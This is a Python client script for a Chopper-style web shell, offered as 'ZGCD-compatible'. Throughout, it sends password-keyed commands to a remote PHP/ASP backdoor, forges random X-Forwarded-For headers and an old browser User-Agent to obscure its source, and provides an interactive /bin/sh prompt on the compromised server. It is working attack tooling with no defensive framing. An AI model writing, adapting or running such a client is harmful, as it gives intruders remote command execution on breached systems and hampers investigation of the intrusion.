a ZGCD-compatible client

client.py

#!/usr/bin/python
# ZGCD client
# Contributor: Kirito <h@kirito.me>
# License: MIT

# TODO: urllib* compability

try:
    import requests  # requests is a humanic REST library
    REST_LIBRARY = 'requests'
except ImportError:
    try:
        REST_LIBRARY = 'urllib' # python2
        import urllib2
        import urllib as urllibp
    except ImportError:
        try:
            import urllib.request as urllib2  # python3
            import urllib.parse as urllibp
            import urllib.error
        except ImportError:
            sys.exit(-1)
try:
    input = raw_input  # python2
except:
    pass  # python3
import sys
import random
try:
    import re2 as re  # re2 is an efficient RE library
except:
    import re


class Server:

    def __init__(self, url, password='pass', z0='utf-8'):
        self.url = url
        self.password = password
        self.encoding = z0
        self.pwd = self.get_home_directory()

    def execute(self, operation, z1=None, z2=None):
        data = {'z0': self.encoding, self.password: operation}
        headers = {'X-Forwarded-For': '%s.%s.%s.%s' % (random.randrange(256), random.randrange(256), random.randrange(256), random.randrange(256)),
                  'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
        }  # emulation of original header
        if z1 is not None:
            data['z1'] = z1
        if z2 is not None:
            data['z2'] = z2
        if REST_LIBRARY == 'requests':
            result = requests.post(self.url, data=data, headers=headers)
            text = result.text
        else:
            encoded_data = urllibp.urlencode(data)
            urllib_request = urllib2.Request(self.url, encoded_data, headers=headers)
            result = urllib2.urlopen(urllib_request)
            text = result.read()
        content = re.findall('->\|(.*)\|<-', text, re.DOTALL)[0]
        return content

    def get_home_directory(self):
        result = self.execute('A')
        return re.findall("(.*)\t", result)[0]

    def shell(self, command, pwd=None):
        if not pwd:
            pwd = self.pwd
        command = 'cd "%s";%s;echo [S];pwd;echo [E]' % (pwd, command)
        result = self.execute('M', '-c/bin/sh', command)
        content = re.findall('(.*)\[S\]\r\n(.*)\r\n\[E\]', result, re.DOTALL)[0][0]
        self.pwd = re.findall('(.*)\[S\]\r\n(.*)\r\n\[E\]', result, re.DOTALL)[0][1]
        return content

def main():
    Admin = Server('URL', 'PASSWORD', 'ENCODING')
    command = ''
    while command is not 'exit':
        try:
            command = input('[%s]$ ' % Admin.pwd)
        except KeyboardInterrupt:  # deal with Ctrl-C
            sys.stdout.write('\n')
            continue
        except EOFError:  # deal with Ctrl-D
            sys.stdout.write('\n')
            sys.exit(0)
        try:
            sys.stdout.write(Admin.shell(command))
        except IndexError:  # deal with empty-line
            sys.stdout.write('\n')
            continue

if __name__ == "__main__":
    main()